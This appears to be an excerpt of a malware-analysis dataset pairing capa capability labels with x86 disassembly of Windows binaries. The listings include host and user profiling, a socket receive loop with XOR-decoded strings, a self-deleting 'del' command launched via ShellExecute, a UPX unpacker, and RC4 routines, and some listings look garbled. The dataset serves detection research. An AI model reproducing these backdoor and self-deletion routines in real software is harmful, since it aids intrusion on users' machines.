joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4022c0
Capabilities:
Get hostname
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x76c
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0xdc]
push ecx
mov dword [ebp - 0xc], 0x14
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x74]
push edx
call fcn.004013b0
mov byte [ebp - 8], al
mov ecx, dword [ebp - 8]
add esp, 4
lea eax, [ebp - 0x74]
push eax
push ecx
call fcn.00401bb0
lea edx, [ebp - 0x74]
push edx
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0x4bc]
push str._s__s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea edx, [ebp - 0x4bc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 0x4c0], eax
lea eax, [ebp - 0x76c]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40237a
push 0xff
lea ecx, [ebp - 0x5dc]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x402374
lea edx, [ebp - 0x5dc]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402374
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov ecx, dword [ecx]
jmp 0x40237c
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
mov eax, 0x45e7b273
imul dword [0x405028]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], eax
push edx
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x4d4], ecx
mov edx, ecx
push eax
lea ecx, [ebp - 0x4dc]
call fcn.00401530
call fcn.00401a10
mov edx, dword [ebp - 0x4c0]
lea ecx, [ebp - 0x4dc]
push ecx
mov ecx, dword [ebp + 8]
add edx, 0x20
push edx
push 0
push ecx
mov edx, eax
mov ecx, 0x9e2
mov dword [ebp - 0x4dc], eax
mov dword [0x405030], eax
call fcn.00401d50
add esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x402900
Capabilities:
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
push ebx
push esi
push edi
lea eax, [esp + 0x20]
push eax
push 0x101
xor edi, edi
mov dword [esp + 0x18], 0xea60
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4029fa
cmp byte [str._9:__6_____98], 0
mov eax, str._9:__6_____98
je 0x40294c
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402941
xor esi, esi
mov edi, edi
mov edx, dword [esi*4 + 0x405024]
mov ecx, esi
shl ecx, 4
sub ecx, esi
lea eax, [ecx*2 + str._9:__6_____98]
push edx
call fcn.00401450
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4029af
inc edi
cmp edi, 3
jle 0x40299a
inc esi
xor edi, edi
cmp esi, 1
jne 0x40299a
mov eax, 0xa4cb80
push eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x10], 0xea60
jmp 0x402950
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x10], 0xea60
jmp 0x402950
push ebx
call fcn.004022c0
add esp, 4
call fcn.004018e0
test eax, eax
jne 0x4029c4
inc edi
jmp 0x402950
push ebx
call fcn.00402870
add esp, 4
push 0
push 0xa
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x4029e8
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [0x405028]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402950
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402a20
Capabilities:
Accept command line arguments
Create process on windows
Encode data using xor
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
lea eax, [ebp - 4]
push eax
mov eax, esi
call fcn.004011d0
mov ecx, dword [ebp - 4]
mov edi, eax
push ecx
call fcn.00401870
add esp, 8
push str._run
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x402abf
mov edx, dword [edi]
push edx
lea eax, [ebp - 0x418]
push str._c_del__q___s_____NUL
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
call fcn.00401eb0
push str.l5Sxfak_xSvjb_Slbk_jwj
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
je 0x402a9e
mov ecx, eax
xor byte [eax], 0xf
inc ecx
cmp byte [ecx], 0
mov eax, ecx
jne 0x402a93
push 0
push 0
lea edx, [ebp - 0x418]
push edx
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.MUTEX394039_4830023
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
pop edi
pop esi
test eax, eax
jne 0x402ab7
push str.MUTEX394039_4830023
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call fcn.00402900
mov esp, ebp
pop ebp
ret 0x10
Function at 0x413fa0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10000]
push edi
or ebp, 0xffffffff
jmp 0x413fc2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x413fc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x413fb8
mov eax, 1
add ebx, ebx
jne 0x413fdb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x413fd0
jne 0x413fec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x413fd0
xor ecx, ecx
sub eax, 3
jb 0x414000
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414072
mov ebp, eax
add ebx, ebx
jne 0x41400b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414018
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41403c
inc ecx
add ebx, ebx
jne 0x414028
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41401d
jne 0x414039
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41401d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41405c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41404d
jmp 0x413fbe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41405c
add edi, ecx
jmp 0x413fbe
pop esi
mov edi, esi
mov ecx, 0xff
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41407a
cmp byte [edi], 0
jne 0x41407a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41407f
lea edi, [esi + 0x11000]
mov eax, dword [edi]
or eax, eax
je 0x4140f7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x14000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x140dc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4140ac
mov ecx, edi
jns 0x4140db
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x140e0]
or eax, eax
je 0x4140f1
mov dword [ebx], eax
add ebx, 4
jmp 0x4140c9
call dword [esi + 0x140f0]
mov ebp, dword [esi + 0x140e4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41412b
sub esp, 0xffffff80
jmp 0x406b28
Function at 0x40a520
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x43d044
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x43d03c]
sub esp, 4
test ebx, ebx
je 0x40a56b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x40a564
test esi, esi
je 0x40a564
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40a540
mov dword [esp], 0x43d044
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40a750
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x40a7a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x40a878
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40a7de
cmp eax, 4
jne 0x40a800
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40a7ee
cmp edx, 4
je 0x40a7ee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.0040a750
Function at 0x70de4810
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, 0x55555556
imul ecx
push esi
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [ebp + 0xc]
lea eax, [esi + esi*2]
sub ecx, eax
push edi
mov eax, ecx
mov ecx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 4], eax
test esi, esi
jle 0x70de48c2
lea eax, [esi*4]
mov dword [ebp + 8], esi
mov dword [ebp - 8], eax
push ebx
mov edi, edi
mov bl, byte [edx]
movzx eax, byte [edx + 1]
movzx esi, bl
mov byte [ebp + 0xf], al
mov al, byte [edx + 2]
mov edi, esi
shr edi, 2
movzx ebx, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movzx edi, byte [ebp + 0xf]
mov byte [ecx], bl
mov ebx, edi
shr ebx, 4
shl esi, 4
or ebx, esi
movzx esi, al
mov eax, esi
shr eax, 6
add edi, edi
and ebx, 0x3f
movzx ebx, byte [ebx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
add edi, edi
or eax, edi
mov byte [ecx + 1], bl
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + 2], al
and esi, 0x3f
movzx eax, byte [esi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + 3], al
add edx, 3
add ecx, 4
dec dword [ebp + 8]
jne 0x70de4850
mov eax, dword [ebp - 4]
mov edi, dword [ebp - 8]
pop ebx
cmp eax, 1
jne 0x70de48f5
movzx edx, byte [edx]
mov eax, edx
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
and edx, 3
mov byte [ecx], al
shl edx, 4
mov dl, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
lea eax, [edi + 4]
pop edi
mov byte [ecx + 1], dl
mov word [ecx + 2], 0x3d3d
pop esi
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x70de4945
mov al, byte [edx]
mov dl, byte [edx + 1]
movzx esi, al
mov eax, esi
shr eax, 2
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx edx, dl
mov eax, edx
shr eax, 4
shl esi, 4
or eax, esi
and eax, 0x3f
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + 1], al
and edx, 0xf
movzx edx, byte [edx*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
lea eax, [edi + 4]
pop edi
mov byte [ecx + 2], dl
mov byte [ecx + 3], 0x3d
pop esi
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x70de9fb0
Capabilities:
Create thread

Disassembly:
push ecx
push 0
push 0
push 0x70e73d10
push 0x70de9eb0
push 0
push 0
call fcn.70e318d6
add esp, 0x18
mov dword [0x70e73d44], eax
test eax, eax
jne 0x70dea018
call fcn.70dfef30
push edx
call fcn.71043fb3
push eax
push 0
push 0x1fffff
call fcn.70f3c6d1
mov ebp, 0x1074c085
push 0
push eax
push edi
call fcn.70e7d441
push 0
call fcn.70e3266b
call fcn.70ebff73
sub dword [edx], 0x50
call fcn.70fbed9c
jmp 0x86dda07e
pop ecx
ret
Function at 0x70df8400
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x70e4e9f8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x70e6dc90]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [ebp + 8]
mov eax, ecx
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x70df8446
sub eax, edi
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.70de7690
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [esi + 4]
mov dword [ebp - 4], 0
call fcn.70de72d0
cmp dword [ebp - 0x18], 0x10
mov dword [esi + 0x7c], 0x67452301
mov dword [esi + 0x80], 0xefcdab89
mov dword [esi + 0x84], 0x98badcfe
mov dword [esi + 0x88], 0x10325476
jb 0x70df84a7
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.70e0d1c1
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.70e2fcc3
mov esp, ebp
pop ebp
ret 4
Function at 0x70dfa980
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x70e4e3b8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x70e6dc90]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x70dfaaa1
cmp byte [edi + 0x49], bl
je 0x70dfaaa1
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x70dfaa95
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x70dfa9f5
lea eax, [ebp - 0x2c]
mov byte [eax + 8], bl
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x18]
mov edx, eax
cmp ebx, 0x10
jae 0x70dfaa0d
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
push edx
push eax
lea eax, [edi + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x70dfaa36
dec eax
je 0x70dfaa3a
sub eax, 2
lea ecx, [ebp - 0x2c]
jne 0x70dfaa90
jmp 0x70dfaa9c
mov byte [edi + 0x49], 0
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov ecx, eax
cmp ebx, 0x10
jae 0x70dfaa4a
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, ecx
je 0x70dfaa73
cmp ebx, 0x10
jae 0x70dfaa59
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.70e310ee
add esp, 0x10
cmp esi, eax
jne 0x70dfaa8d
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [edi + 0x49], 0
je 0x70dfaa99
test esi, esi
jne 0x70dfaa01
push esi
push 8
lea ecx, [ebp - 0x2c]
call fcn.70df9810
jmp 0x70dfa9fb
lea ecx, [ebp - 0x2c]
call fcn.70de6150
xor al, al
jmp 0x70dfaaa3
lea ecx, [ebp - 0x2c]
call fcn.70de6150
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.70e2fcc3
mov esp, ebp
pop ebp
ret

Function at 0x70dff5f0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
push esi
mov esi, dword [eax + 0x104]
push edi
mov edi, ecx
mov ecx, dword [eax + 0x100]
jbe 0x70dff651
sub edx, edi
mov dword [ebp - 4], edx
push ebx
inc ecx
and ecx, 0xff
mov dl, byte [ecx + eax]
movzx ebx, dl
add esi, ebx
and esi, 0xff
mov bl, byte [esi + eax]
mov byte [ecx + eax], bl
mov byte [esi + eax], dl
movzx ebx, byte [ecx + eax]
movzx edx, dl
add ebx, edx
and ebx, 0xff
movzx edx, byte [ebx + eax]
mov ebx, dword [ebp - 4]
xor dl, byte [ebx + edi]
inc edi
dec dword [ebp + 8]
mov byte [edi - 1], dl
jne 0x70dff610
pop ebx
pop edi
mov dword [eax + 0x104], esi
mov dword [eax + 0x100], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x70e06c4c
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, eax
test esi, esi
je 0x70e06c9c
mov eax, dword [edx + 8]
add eax, 4
cmp ecx, eax
jb 0x70e06c9c
xor eax, eax
test ecx, ecx
je 0x70e06c3f
mov byte [eax + esi], al
inc eax
cmp eax, ecx
jb 0x70e06c37
mov eax, dword [edx + 0x18]
cmp byte [eax], 0
je 0x70e06c95
test ecx, ecx
je 0x70e06c95
push ebx
push edi
mov edi, ecx
nop
mov ecx, dword [eax + 0xc]
inc ecx
and ecx, 0xff
mov dword [eax + 0xc], ecx
mov ecx, dword [eax + ecx*4 + 0x14]
mov edx, dword [eax + 0x10]
add edx, ecx
and edx, 0xff
mov dword [eax + 0x10], edx
mov edx, dword [eax + edx*4 + 0x14]
mov ebx, dword [eax + 0xc]
mov dword [eax + ebx*4 + 0x14], edx
mov ebx, dword [eax + 0x10]
add edx, ecx
and edx, 0xff
mov dword [eax + ebx*4 + 0x14], ecx
mov cl, byte [eax + edx*4 + 0x14]
xor byte [esi], cl
inc esi
dec edi
jne 0x70e06c50
pop edi
pop ebx
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x70e07a70
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 0x10]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
push ebx
lea edx, [eax + eax*2]
sub ecx, edx
push esi
xor esi, esi
mov edx, ecx
mov ecx, dword [ebp + 8]
xor ebx, ebx
push edi
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], edx
test eax, eax
jle 0x70e07b64
mov edx, dword [ebp + 0x14]
add edx, 0xfffffffc
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], edx
movzx edx, byte [ecx]
mov byte [ebp + 0xf], dl
movzx edx, byte [ecx + 1]
movzx esi, byte [ebp + 0xf]
mov byte [ebp + 0x13], dl
movzx edx, byte [ecx + 2]
movzx edi, byte [ebp + 0x13]
mov byte [ebp + 0xb], dl
mov edx, esi
shr edx, 2
movzx edx, word [edx*2 + 0x70e5ccc0]
mov word [eax], dx
shl esi, 4
mov edx, edi
shr edx, 4
or edx, esi
add dword [ebp - 4], 4
and edx, 0x3f
movzx edx, word [edx*2 + 0x70e5ccc0]
mov word [eax + 2], dx
movzx edx, byte [ebp + 0xb]
mov esi, edx
shr esi, 6
add edi, edi
add edi, edi
or esi, edi
and esi, 0x3f
mov si, word [esi*2 + 0x70e5ccc0]
mov word [eax + 4], si
and edx, 0x3f
movzx edx, word [edx*2 + 0x70e5ccc0]
mov word [eax + 6], dx
add ebx, 4
add ecx, 3
add eax, 8
cmp ebx, dword [ebp - 0xc]
jle 0x70e07b53
mov edx, 0xd
mov word [eax], dx
mov edx, 0xa
mov word [eax + 2], dx
add eax, 4
xor ebx, ebx
add dword [ebp - 4], 2
dec dword [ebp - 8]
jne 0x70e07ab5
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
jmp 0x70e07b67
mov eax, dword [ebp + 0xc]
cmp edx, 1
jne 0x70e07bab
movzx ecx, byte [ecx]
mov edx, ecx
shr edx, 2
mov dx, word [edx*2 + 0x70e5ccc0]
mov word [eax], dx
and ecx, 3
shl ecx, 5
mov cx, word [ecx + 0x70e5ccc0]
mov word [eax + 2], cx
mov dword [eax + 4], 0x3d003d
add eax, 8
add esi, 4
xor ecx, ecx
pop edi
mov word [eax], cx
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp edx, 2
jne 0x70e07c02
mov dl, byte [ecx]
mov cl, byte [ecx + 1]
movzx edx, dl
mov edi, edx
shr edi, 2
mov di, word [edi*2 + 0x70e5ccc0]
mov word [eax], di
movzx ecx, cl
and edx, 3
mov edi, ecx
shl edx, 4
shr edi, 4
or edi, edx
mov dx, word [edi*2 + 0x70e5ccc0]
mov word [eax + 2], dx
and ecx, 0xf
mov cx, word [ecx*8 + 0x70e5ccc0]
mov word [eax + 4], cx
mov edx, 0x3d
mov word [eax + 6], dx
add eax, 8
add esi, 4
xor ecx, ecx
pop edi
mov word [eax], cx
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x70e082f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x70e65fd0
push 0x70e33eb0
mov eax, dword fs:[0]
push eax
add esp, 0xffffffc8
push ebx
push esi
push edi
mov eax, dword [0x70e6dc90]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x2d], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x40]
cmp dword [ecx + 0x1c], 0
je 0x70e08430
mov edx, dword [ebp - 0x40]
cmp dword [edx + 0x20], 0
je 0x70e08430
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp + 0xc]
and eax, 0xffff0000
jne 0x70e083be
movzx ecx, word [ebp + 0xc]
mov edx, dword [ebp - 0x3c]
movzx eax, word [edx + 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x2d], 1
mov dword [ebp - 0x20], 0
jmp 0x70e083d0
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
movzx edx, byte [ebp - 0x2d]
test edx, edx
jne 0x70e08430
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [eax + 0x18]
jae 0x70e08430
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov cx, word [eax + edx*2]
mov word [ebp - 0x48], cx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + edx*4]
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], 0
je 0x70e0842e
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x44]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.70e47e53
add esp, 8
test eax, eax
jne 0x70e0842e
movzx ecx, word [ebp - 0x48]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x2d], 1
jmp 0x70e083c7
mov dword [ebp - 4], 0xfffffffe
jmp 0x70e08449
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret